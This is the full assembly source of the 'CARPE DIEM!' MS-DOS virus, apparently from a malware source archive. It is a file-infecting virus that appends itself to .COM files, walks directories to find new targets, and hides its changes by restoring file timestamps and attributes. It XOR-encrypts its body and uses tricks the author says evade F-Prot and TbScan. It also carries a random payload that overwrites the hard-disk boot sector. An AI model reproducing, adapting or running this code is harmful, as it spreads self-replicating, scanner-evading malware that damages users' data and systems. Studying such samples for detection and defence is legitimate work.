MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.raver.asm
2021-01-12 17:55:26 -06:00

292 lines
9.3 KiB
NASM

; VirusName : CARPE DIEM! - Seize the day
; Origin : Sweden
; Author : Raver
; Date : 16/11/93
; Well this is my (Raver's) first scratch virus.
; This virus is mainly made for educational purpose (my own!).
; It's pretty well commented in an easy way so even you folks
; with little experience with assembler should be able to follow
; the code!
; It's a pretty simple non-overwriting .com-infector with a harmless
; nuking routine. It clears and restores the file attributes and
; date/time stamp and finds and infects files using the dot-dot method.
; An encryption routine and some "unusual" instructions are included to
; avoid detection by the common virus scanners. At release date, see
; above, neither F-prot nor Tb-scan found traces of virus code!
; There is about a 5 percent chance that the nuking routine will be
; activated, it checks the system time for 1/100 of a second. If it's
; activated it'll overwrite the first sector on the fixed disk (c:)
; which contains the boot sector. This might seem cruel but, infact,
; it's quite harmless 'cause norton utilities and other programs
; easily restore the boot sector. It's there just to make inexperienced
; users (lamers!) nervous!
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; CARPE DIEM! - Seize the day
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg segment byte public 'code'
assume cs:cseg, ds:cseg
org 100h
start_of_virus: ;entry point
call get_off ;this somewhat unusual code won't
get_off: ;produce a flexible entry point flag
mov si,sp ;get the delta offset
mov bp,word ptr ss:[si] ;offset is on top of stack
sub bp,offset get_off ;put it in bp
inc sp ;restore sp to it's original
inc sp
; call encrypt_decrypt ;decrypt the contents of the program
mov ax,bp ;use alternative code - otherwise
add ax,116h ;f-prot will recognize it as Radyum!!!!
push ax
jmp encrypt_decrypt
jmp encrypted_code_start ;jmp to the (en/de)crypted virus area
encryption_value dw 0 ;random value for encryption routine
write_virus_to_file: ;proc to append virus code to file
call encrypt_decrypt ;encrypt the virus before write
mov cx,offset end_of_virus-100h ;length of virus to be written
lea dx,[bp] ;write from start
mov ax,word ptr [bp+end_of_virus+1ah+2] ;most significant part of
inc ah ;file length in DTA. Is
add dx,ax ;always 0 in .com-files.
mov ah,40h ;Use this trick to fool
int 21h ;heuristic searches.
;dx = delta offset+100h
call encrypt_decrypt ;decrypt the code for
ret ;further processing.
encrypt_decrypt: ;proc to (en/de)crypt the code
mov dx,word ptr [bp+encryption_value] ;use random number for every
lea si,[bp+encrypted_code_start] ;new infection
mov cx,(end_of_virus-encrypted_code_start+1)/2
crypt_loop: ;xor the whole virus code
xor word ptr [si],dx ;between encrypted_code_start
add si,2 ;and end_of_virus
loop crypt_loop
ret
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Here the part that will be encrypted starts, i.e. all code
; except the encryption routine and the routine to append virus
; to file.
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
encrypted_code_start:
cld
mov ah,1ah ;Set DTA Transfer area to after
lea dx,[bp+end_of_virus] ;after the end of file to save file
int 21h ;size. Note: do not use default 80h
;as DTA area since the parameters to
;the "real" program will be overwritten!
lea si,[bp+orgbuf] ;Transfer buffer contents
lea di,[bp+orgbuf2] ;to be restored to the beginning
mov cx,2 ;for restart of the "real" program
rep movsw
mov di,2 ;Infection counter, 2 files every run
mov ah,19h ;get current drive
int 21h
cmp al,2 ;check if a: or b:
jae get_cur_dir ;if so, skip infection. Otherwise
jmp no_more_files ;the user will most likely get
;quite suspicious
get_cur_dir:
mov ah,47h ;get starting directory
xor dl,dl ;it will be changed by the
lea si,[bp+end_of_virus+2ch] ;dot-dot method later on
int 21h
find_first: ;start finding the first .com file
mov cx,7 ;in every new dir
lea dx,[bp+filespec]
mov ah,4eh
int 21h
jnc clear_attribs ;successive?
call ch_dir ;no more files in dir. change dir
jmp find_first ;start over again
;otherwise jmp
find_next: ;this is the upper point of the find
mov ah,4fh ;files loop in a dir
int 21h
jnc clear_attribs
call ch_dir ;no more files in dir. change dir
jmp find_first ;start over again
clear_attribs: ;set the file attribute to 0
mov ax,4301h
xor cx,cx
lea dx,[bp+end_of_virus+1eh]
int 21h
open_file: ;open file to be infected
mov ax,3d02h
; lea dx,[bp+end_of_virus+1eh] ;since clear_attribs
int 21h
xchg ax,bx ;Put file handle in bx
read_file: ;read first four bytes of file
mov ah,3fh ;They will be restore to the start
mov cx,4 ;after the virus is finnished
lea dx,[bp+orgbuf] ;so the program can execute
int 21h
check_already_infected: ;check the first to bytes and check
mov si,dx ;if the file is already infected
lea si,[bp+orgbuf]
cmp word ptr [si],0e990h
je already_infected ;if so, jmp
cmp word ptr [bp+end_of_virus+35],'DN' ;check if command.com
jz already_infected ;if so, don't infect
mov ax,word ptr [bp+end_of_virus+1ah] ;check file size
cmp ax,500 ;and skip short and
jb already_infected ;long files
cmp ax,64000
ja already_infected
mov ax,4202h ;get lenght of initial jmp in ax
xor cx,cx
xor dx,dx
int 21h
sub ax,4 ;subtract the first four bytes, which
;will be overwritten
mov word ptr [bp+startbuf],0e990h ;load the buffer with a nop
mov word ptr [bp+startbuf+2],ax ;and a jmp to virus beginning
;notice the reversed order!
mov ax,4200h ;move to beginning of file
int 21h
mov ah,40h ;write the new instructions
mov cx,4
lea dx,[bp+startbuf]
int 21h
mov ax,4202h ;move to end of file
xor cx,cx
xor dx,dx
int 21h
mov ah,2ch ;get a random number from
int 21h ;system clock for the
mov word ptr [bp+encryption_value],dx ;encryption routine
call write_virus_to_file ;append the virus code
jmp restore_time_date
already_infected: ;if already encrypted increase
inc di ;infection counter with one
restore_time_date: ;restore file time & date
lea si,[bp+end_of_virus+16h]
mov cx,word ptr [si]
mov dx,word ptr [si+2]
mov ax,5701h
int 21h
close_file: ;close the file handle
mov ah,3eh
int 21h
set_old_attrib: ;restore the old file attrib
mov ax,4301h
xor ch,ch
mov cl,byte ptr [bp+end_of_virus+15h]
lea dx,[bp+end_of_virus+1eh]
int 21h
dec di ;decrease infection counter
cmp di,0 ;and check if infection is
jbe no_more_files ;completed
jmp find_next
no_more_files:
mov ah,2ch ;get a new random number
int 21h ;5% chance of nuke
cmp dl,5
ja restore_start ;above 5 no nuke
mov ax,0301h ;trash the bootsector of c:
mov cx,0001h ;This might seem cruel but
mov dx,0080h ;norton and other programs
lea bx,[bp+start_of_virus] ;easily fix it. It's just
int 13h ;to make the user nervous!!
mov ah,09h ;deliver a message too
lea dx,[bp+signature]
int 21h
restore_start: ;copy the four saved bytes to
lea si,[bp+orgbuf2] ;beginning of file in memory
mov di,100h
movsw
movsw
restore_dir: ;change back to original
lea dx,[bp+end_of_virus+2ch] ;dir
mov ah,3bh
int 21h
exit_proc: ;return to start of program
mov bx,100h ;This will be enrypted in
push bx ;infected files, so anti-vir
;progs won't complain.
xor ax,ax ;for org virus to push on
retn ;the stack for ret
ch_dir:
lea dx,[bp+dot_dot] ;use dot-dot method
mov ah,3bh
int 21h
jnc no_err ;sub dir existed
pop ax ;otherwise all files are checked. exit!
jmp no_more_files ;pop the ip pointer from the stack
no_err: ;and jump to the end part
ret
signature db "CARPE DIEM! (c) '93 - Raver/Immortal Riot",0ah,0dh,'$'
country db " Sweden 16/11/93"
filespec db '*.com',0
dot_dot db '..',0
orgbuf db 90h,90h,50h,0c3h ;instructions to exit the
orgbuf2 db 4 dup(0) ;scratch after infection
startbuf db 4 dup(0) ;nop,nop,push ax,ret
end_of_virus:
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; The virus code ends here but the point below here (the heap)
; is used to store temporary variables such as the dta-area and
; the starting directory
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg ends
end start_of_virus